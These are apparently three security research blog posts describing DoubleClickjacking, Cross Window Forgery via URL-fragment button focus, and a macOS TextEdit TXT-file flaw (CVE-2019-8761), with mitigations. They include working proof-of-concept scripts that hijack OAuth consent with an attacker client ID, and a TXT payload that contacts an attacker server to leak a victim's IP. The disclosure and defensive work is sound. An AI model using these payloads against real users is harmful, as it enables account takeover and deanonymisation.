DoubleClickjacking: A New Era of UI Redressing

5:44 PM

“Clickjacking” is becoming less practical as modern browsers set all cookies to “SameSite: Lax” by default. Even if an attacker site can frame another website, the framed site would be unauthenticated, because cross-site cookies are not sent. This significantly reduces the risk of successful clickjacking attacks, as most interesting functionality on websites typically requires authentication.

DoubleClickjacking is a new variation on this classic theme: instead of relying on a single click, it takes advantage of a double-click sequence. While it might sound like a small change, it opens the door to new UI manipulation attacks that bypass all known clickjacking protections, including the X-Frame-Options header, CSP's frame-ancestors and SameSite: Lax/Strict cookies. This technique seemingly affects almost every website, leading to account takeovers on many major platforms.


Root Cause
DoubleClickjacking exploits a timing and event-order quirk:

  1. The attacker creates an initial webpage with a button that opens a new window (or just opens a new window without user interaction).
  2. When the user clicks this button:
    • A new window opens on top, asking the user to “double-click.”
    • This new window immediately uses window.opener.location to change the parent window’s location to the target page.
    • The parent window now contains the target page (e.g., OAuth authorization), while the top window still shows the double-click prompt.
  3. When the user attempts the requested double-click:
    • The first click (triggered on mousedown) causes the top window to close.
    • The second click lands on the now-exposed authorization button in the parent window.
    • The user unknowingly authorizes the attacker’s application into their account with arbitrary scope.

In simpler terms, DoubleClickjacking leverages the small gap between the start of a click and the end of the second click in multiple windows without utilizing any popunder tricks. It is a sleight of hand. Attackers load (or open) a new window for a legitimate seeming reason—like a “captcha verification,” for example. Then, just before the second click is pressed, the malicious site can quickly swap in a more sensitive window from the same browser session (e.g., an OAuth authorization prompt), effectively hijacking that second click. There are many ways to perform the “swap,” the most reliable and smooth method I found uses window.open.location.

One of the important pieces of this attack is exploiting the timing difference between mousedown and onclick events (favoring mousedown over click). The mousedown event fires immediately when the user presses the mouse button, while the click event waits for the complete click action so there is a few ms of delay we can siphon for the attack.  One of the surprising things about doing it this way is it does not matter how slow or how fast the target double-clicks. favoring mousedown event handler allows exploiting this even for the fastest or slowest double clickers.


    How It Can Be Exploited

    • OAuth & API Permissions: Attackers could trick targets into authorizing a malicious application with extensive privileges. This technique has unfortunately led to account takeovers in almost every site that supports OAuth - which is pretty much all major websites with an API support.  And even if by some miracle it is detected and the user tries to revoke the a malicious attacker app, it would already be too late since it could perform its malicious actions the instant it is authorized.

    • One-Click Account Changes: Similar to classic clickjacking, DoubleClickjacking can be used to make the user click on account-setting changes, such as disabling security settings, deleting an account, authorizing access or money transfers, or confirming transactions, etc.


    Proof of Concept (PoC) Code

    Below is a code snippet that can be used to create a PoC for this vulnerability class:

    <script> function openDoubleWindow(url, top, left, width, height) { var evilWindow = window.open(window.location.protocol+"//"+ window.location.hostname+":"+ window.location.port+"/random", "_blank"); evilWindow.onload = function() { evilWindow.document.open(); //plugs the page to be hijacked as opener returnee evilWindow.document.write(` <script> setTimeout(function() { opener.location = "${url}"; }, 1000); </scri`+`pt> <div id="doubleclick" type="button" class="button" style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';" onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div> <script> document.getElementById('doubleclick').addEventListener('mousedown', function() { window.close(); }); </scr`+`ipt>`); evilWindow.document.close(); }; } </script> <!-- Replace value's below with the URL and top, left, width, height of a button you want to doublejack with --> <button onclick="openDoubleWindow('https://target.com/oauth2/authorize?client_id=attacker',647, 588.5, 260, 43)">Start Demo</button>

    Replace the values for url, top, left, width, and height with the specific button location you want to doublejack.

    How it Looks

    Example: Salesforce Account Takeover


    Example: Slack Account Takeover


    Example: Metamask Wallet (Extension) Account Takeover 



    Why It’s Dangerous

    • Bypass of Clickjacking Protections: Most webapps and frameworks assume that only a single forced click is a risk. DoubleClickjacking adds a layer many defenses were never designed to handle. methods like X-Frame-Options, SameSite cookies, or CSP cannot defend against this attack.
    • Not Just Websites: This technique can be used to attack not only websites but browser extensions as well. For example, I have made proof of concepts to top browser crypto wallets that uses this technique to authorize web3 transactions & dApps or disabling VPN to expose IP etc. This can also be done in mobile phones by asking target to "DoubleTap".
    • New Attack Surface: This creates new attack opportunities for web attacks. A double-click on an attacker’s website can now lead to serious consequences in multiple platforms.
    • Extremely Rampant: Based on my tests, all websites by default (those that didn't fix this yet) are vulnerable to this many surprising impacts including oauth takeovers etc. I've reported this issue to some sites, the results have been mixed. Most have chosen to address it  while some have chosen not to.
    • Minimal User Interaction: It only requires the target to double-click. They don’t need to fill out forms or perform crazy multiple steps (if the site can open windows or launched from site that can).

    P.S: Note that windows can be opened on top of the whole browser (instead of as a tab), hiding the fact that the opener has changed location (and all tabs)

    Mitigation Ideas

    1. Client-Side Protection
      The following JavaScript based approach can eliminate the risk of DoubleClickjacking by disabling critical buttons by default unless a gesture is detected (e.g., moving the mouse or using the keyboard). it is simple and very effective:

      (function(){
          if (window.matchMedia && window.matchMedia("(hover: hover)").matches) {
              var buttons = document.querySelectorAll('form button, form input[type="submit"]');
              buttons.forEach(button => button.disabled = true);
              
              function enableButtons() {
                  buttons.forEach(button => button.disabled = false);
              }
              
              document.addEventListener("mousemove", enableButtons);
              document.addEventListener("keydown", e => {
                  if(e.key === "Tab") enableButtons();
              });
          }
      })();
    Using it is super simple. just <script src=doubleclickjackingprotection.js></script> on your sensitive pages and you are done.

    How it works
      • All submit/buttons on a page are initially disabled.
      • A user must demonstrate real, intentional interaction—through a gesture (mouse movements or keyboard interaction like pressing Tab—before these buttons become activated.
      • This thwarts attacks that rely on purely simulated or tricked interactions, since the user’s second click can no longer automatically fire on a hidden action.
      • It has no noticeable impact on user experience. From the user’s perspective, everything should work as intended without any changes. An examples of popular sites that uses a similar script to mitigate the vulnerability class are DropBox, Stripe and GitHub. This is how the attack looks on their websites. 

         
    1. Long-Term Browser Solutions
      In the long run, browsers should adopt new standards to defend against double-click exploitation—similar to how X-Frame-Options or frame-ancestors protect against classic iframe-based clickjacking. When clickjacking was first discovered in 2008, the initial mitigation was also JavaScript until browsers provided a simpler method to mitigate the vulnerability class. One example approach could be a special HTTP header, for instance:

      Double-Click-Protection: strict

      This hypothetical header could tell the browser to limit or block rapid context-switching between windows during a double-click sequence, removing the risk of the UI being changed mid-click. Another similar idea would be to expand CSP headers to cover such scenarios.

      Best Practices for Developers
      • Implement the Protective Library on Sensitive Pages
        Any page handling OAuth scope verification, payment confirmations, or other high-privilege actions should include the defensive script until browsers provide solutions.

    Conclusion
    DoubleClickjacking is a sleight of hand around on a well-known attack class. By exploiting the event timing between clicks, attackers can seamlessly swap out benign UI elements for sensitive ones in the blink of an eye.  

    Until next time, good luck!

    Cross Window Forgery: A New Class of Web Attack

    10:30 AM

    I've uncovered a technique that exposes a new class of client side web vulnerability. By leveraging two seemingly unrelated browser features, an attacker can trick an unsuspecting user into performing actions on a different website with minimal user interaction. While browsers implementing SameSite: Lax/Strict by default eradicates vulnerability classes like CSRF, antiCSRF tokens and SameSite cookies will not defend against this attack as it uses top level navigation windows. Let's dive into the technical details of this attack vector.

    Attack Methodology:


    To execute this attack, the attacker can employ various methods for successful exploitation of this vector, including the target user pressing a key or holding down a key while on the attacker's website. another approach involves the target user double-clicking using 3 different windows in a trick I call the sandwich method. There are also a few ideas around different avenues other than either methods to exploit this behavior smoothly, and I am excited to see how the security community might evolve this. I want to give shout out to @Qab for improving some of the techniques here. 


    How does the vulnerability work?

    In HTML, an "ID" attribute can be assigned to an HTML tag, serving as a reference. This attribute can also be utilized in the URL Fragment. For instance, if a webpage has an HTML tag similar to the following
    <input type="submit" id="important_button" onclick=dosomething()>,

    the button can be preselected by navigating to the URL victim.com/page#important_button. If a user navigates to such a URL and presses Enter or Space key, the browser automatically clicks on the newly focused ID attribute, triggering associated action on the website.

    So how is this behavior exploitable?
    Vector 1: Holding/
    pressing Enter/Space key while on attacker website


    Using new windows that are very small, an attacker can open the target page with the sensitive button in a new window with its sensitive button's ID referenced in the URL Fragment. The attacker can instruct the target user to hold a key, tricking them into interacting with unintended elements on the target website.

    While testing this around in the wild on websites like Coinbase and Yahoo, I found that this can lead to an account takeover if a victim that is logged into either site goes to an attacker website and holds a key. This is possible because both sites allow a potential attacker to create an OAuth application with wide scope to access their API, and they both set a static and / or predictable “ID” value to the “Allow/Authorize” button that is used to authorize the application into the victim's account.

    To pull off the attack, the attacker will prepare a website that will open the attacker’s malicious OAuth authorization prompt URL in a new window when the target user holds Enter/Space keys or another gesture that causes affirmation (like a mouse click).




    The opened window preferably stays as a very small window in the corner of the screen or hidden using pop-under tricks so the victim doesn’t realize they have interacted with a different site. Here is an (ultra simplified) example: 


    function attack(){
        //open new window with smallest possible height and width for a window
        var win = window.open('https://target.com/oauth/allow?appId=attackerApp#allow-button','a','width=1,heght=1');
       //attempt to resize the window to even smaller size (works better for Safari and IE/Edge/Opera)
        win.resizeTo(1, 1);
       //sleight of hand to move the new window to the edge of the screen so it doesn't capture the eye.
        win.moveTo(4000, 4000);
      //close the new window as fast as possible to hide what happened
        //(the faster the page loads, the faster the window can close) 
        setTimeout(()=>{win.close()},1290);
       //show target user a message their expected action is complete
        setTimeout(()=>{document.getElementById('div').innerText = "Cookies approved! welcome to our site!";},1500);
        //setTimeout(()=>{location.reload();},4000);
    }
    //when target presses and holds Enter/Space key launch the attack
    window.onkeypress=e=>{
        attack();
    }

    The above simplifies the understanding of the attack process. Various techniques can be employed to reduce the attack's detectability and dramatically improve the likelihood of success. For example the attack appears less suspicious when a target doesn't need to hold their key for more than approximately 1 second. The effectiveness relies on how quickly we can close the target window, a factor influenced by the speed at which the target page loads. The accompanying video demonstrates the code in action. Authorizing malicious attacker app into a target user's Yahoo account (Chrome):


    Vector 2: The Sandwich Technique


    An attacker website creates a sandwich-like scenario by opening two windows in sequence. The attacker's website occupies the top window, while the target website, with sensitive fragment in URL, sits in the middle.



    Below you will find the code to perform this attack
    1: index.html


    2: click.html

    Attack Improvement ideas for key press vector: 

    Prerendering: Using the <link rel="prerender" href="https://example.com/content/to/prerender"> tag, an attacker website can instruct a browser to prefetch and render the target page in the background before initiating an attack. This significantly accelerates the loading process of the target page in a new window.


    Prefetching: Leveraging <link rel="prefetch" href="https://example.com/content/to/prerender">, an attacker page can notably boost the response time of the target page. Prefetch, a new browser feature, speeds up webpage load times by performing DNS resolutions before a link is opened or clicked. However, similar to prerender, prefetch requires an absolute URL to function. Unfortunately, if the final URL of the OAuth request is unknown due to multiple redirection, prefetching becomes impractical.


    Caching Sub-Resources: Sub-resources of a page loaded through window.open() are cached by the browser, resulting in faster loading when opened in a new window. This allows the attacker to open the target page in a new hidden window, close it, and then reload it with the desired preselected fragment. This strategy significantly accelerates page loading as the newly opened window retrieves the target page's sub-resources from the cache.


    Pop-unders: Pop-unders, often exploited by tracking and adware websites, involve displaying ads in a window hidden behind the main window. Although browser vendors actively address known methods of creating pop-unders, they are not deemed security vulnerabilities. Pop-unders become valuable when combined with this attack vector.


    Forced Caching: In instances where forced caching is possible across origins (or the page caches itself), an attacker can compel the victim's browser to cache the target page before opening it in a new window. This dramatically reduces load time as the target page is loaded from the cache rather than the internet.


    Safari Window Tricks: Browsers like Safari and Opera, when opened with a new window of 1x1 width and height, do not display the URL bar or title of a window. This can be paired with prompts like "Allow cookies"/"Allow Javascript" on the attacker's website to convince the victim that they haven't interacted with a different origin. In scenarios with slower prompts, this window may appear for less than 1 seconds, creating uncertainty of what might've happened, especially if the victim hasn't interacted with OAuth before.



    Attack Limitations: 

    Performing the attack improvement ideas above can become challenging under certain conditions, such as when the target page experiences slow loading, involves redirects, utilizes dynamically generated URLs, or has an unpredictable final URL. To address these challenges, current solutions involve using preload, prefetch, or pop-unders to load the page before initiating the attack. However, if the final URL is unpredictable or includes redirects, the use of preload or prefetch may not be feasible.

    Known Mitigations:
    1. The easiest way to mitigate this is by randomizing ID attributes so they can't be guessed cross origin. So, an example of this would be renaming the ID "allow" to "allow234b" where 234b is a dynamically generated value either from the server or client unique for that particular user and can't be predicted by an attacker. You might observe Facebook doing the same thing regarding these buttons.
    2. Another way to mitigate this is by removing ID attributes from important buttons and actively moderating for abuse. This is another mitigation technique implemented by Coinbase and Dropbox. 3. For the double click vector, requiring a mouse gesture before enabling a button or waiting few ms to activate a button is one way to mitigate the vector.

    FAQ Section:


    Q: Is this considered a browser bug?

    A: No, it's not. Both my opinion and the stance of browser vendors align on this. It's an intended behavior of browsers. Currently I am not aware of any plans to change it as it is not considered a browser bug per the RFC and Web Platform guidelines.

    Q: If I want to fix this, what do I do?

    A: To address this issue, consider adding or using unpredictable and hard-to-guess values for the "id" attribute. Alternatively, you may want to explore using the "name" attribute.

    Q: Can I randomize the ID?

    A: While randomizing the "id" attribute can enhance security, be cautious. Previous research by Gareth Hayes has demonstrated a method for leaking "id" attributes cross-domain. Unless the "id" value has sufficient entropy, there might be a risk of brute-forcing across sites, especially if the target site lacks iframe protection using X-Frame-Options.

    Q: Who is vulnerable?
    If your web application uses ID attribute to reference to a sensitive state changing action, you might be vulnerable.
    Q: Can popup blockers address this vulnerability class?

    No, the "pop-ups" occur after a user performs a gesture, such as clicking or pressing a key while on an attacker's website. Popup blockers in all modes still permit new windows to open following such user-initiated events.


    This man thought opening a TXT file is fine, he thought wrong. macOS CVE-2019-8761

    4:22 AM

    CVE-2019-8761 is an interesting macOS bug I found that lets attackers execute HTML within a TXT file, leak files, and do all sorts of other funky things when a TXT file is opened.


    This research originated when I realized the default text reader on OSX, TextEdit is used to open files with TXT extension by default. On the interface of TextEdit, it looked like you can do basic customization to your text (you can turn text bold, italic, change color etc...), so I was wondering how a TXT file was storing and parsing this information. It seems it uses RTF format instead of TXT if we add customizations to the text.


    A TXT file is a very interesting attack vector in my opinion, because of its innocent nature that carries nothing but text. however, we have previously seen memory corruption bugs leading to RCE by Tavis Ormandy in Microsoft Notepad. TXT files are also assumed by anti-virus software, firewalls, and even Mac's own Gatekeeper as safe downloads that can't possibly be malicious. 


    After some quick back and forth testing between files, I quickly realized that TextEdit can be tricked into thinking the file opened is an RTF-HTML file even when the file extension is TXT. The ability to inject HTML into a TXT file obviously opened lots of potential attack vectors.


    If a .TXT file started with the following bytes:


    <!DOCTYPE HTML><html><head></head><body>


    It seems TextEdit for some reason thought it should parse the HTML even while the file format was TXT. So we can inject a bunch of limited HTML into a text file, now what?


    Bypassing Quarantine/Gatekeeper and Leaking IP address.


    One of the first bugs I discovered using this showed me that Gatekeeper doesn’t quarantine TXT files even if they were downloaded from a suspicious website. For example, I found a TXT file force-downloaded from Tor browser, when opened can bypass Gatekeeper and leak the real IP address of the victim without any warning. This wasn’t very straightforward though.


    I first tried to see how much of the HTML is parsed and interpreted by TextEdit. It seems there was very limited parsing and many of the interesting HTML attributes were not available. I then went ahead and got the awesome Cure53's project HTTPLeaks, which is a wonderful file to discover if an HTML/CSS attribute leaks data to a third party. 


    I replaced all the URLs in the HTTPLeaks attributes with a server I control and saved it as TXT to see if the TXT file made a request to my server. It didn't.  After some fuzzing, I found two interesting CSS and HTML attributes that got some sort of weird response from local files.


    while fuzzing different schemes, I found out the CSS property 

    <style> @import { "url "} </style>


    was allowed to load local CSS files. However, the only scheme that worked was file:/// and not even http/s://. While this means we can't make external requests, it also means we can hit or open other files that are stored locally on the device. This creates a very obvious DOS vulnerability that acts like a blind SSRF by writing a recursive file inclusion or, reading files with infinite data streams like /dev/urandom, /dev/zero. a 2kb text file can crash your mac. COOL, but completely useless.


    After digging into OSX internals, I came across the AutoMount feature that lets file:/// urls make remote requests. AutoFS is a program on OSX that uses the kernel to make a mounting request to a drive. Automount can also make remote requests to an external drive. Doing 'ls /net/EXAMPLE.com' forces OSX send a remote request to EXAMPLE.com 


    While they did a good job blocking TextEdit from making external requests, this was the one thing they forgot when they allowed file:/// scheme, on OSX file:///net/11.22.33.44/a.css connects to 11.22.33.44.


    When the victim  opens a .TXT file with the following contents


    <!DOCTYPE HTML>

    <html><head></head><body><style>@import{ "file:///net/MYSERVER.COM/a.css"} </style>

    I know where you are...</body></html>


    This is what they see:

    But on the attacker side we get a hit:

     

    So I will know when you opened the TXT file I sent you. Not only that, but apparently AutoMount uses the kernel to make TCP connections so even if you were using a proxy, it was leaking your real IP address. I found another browser trick that lets force-downloaded TXT files to be opened without user interaction or warning (since Gatekeeper doesn't exist for TXT) leaking IP straight out of Tor browser.

    Leaking IP Addresses and knowing when your TXT file is open is cool n all, but what else can we do? It seems a lot worse! 


    Stealing Local Files using Dangling Markup


    Interestingly the only other HTML attribute that loaded local files was <iframedoc> 


    It turns out an attacker can embed local files using the <iframedoc src="file:///etc/passwd"> and look at their contents within the TXT file. 

    I will not leave a PoC for this chapter but I promise you, it will not be that difficult to figure out after reading the above two parts. While we can embed/open local files, we still can't execute javascript so it might seem like there is no way to send them out at first glance. But this is where dangling markup comes in.

    Dangling Markup attacks are nice browser tricks that serve as scriptless attacks to leak data when dynamic scripting is disabled. For example, they can often be used to steal anti-CSRF tokens in cases where CSP stops javascript execution. 


    By combining the <style> CSS attribute with the <iframedoc> attribute, an attacker can first include an unclosed style tag,  embed the contents of the file they want to steal and then leak the content as dangling parameters to their evil site as soon as the file is open.


    This vulnerability was reported to Apple in Q4 2019, and might have got patched somewhere in 2019 - Q1 2020. Given how simple it is to exploit, I’d give it a high CVSS.


    Thank you for reading :)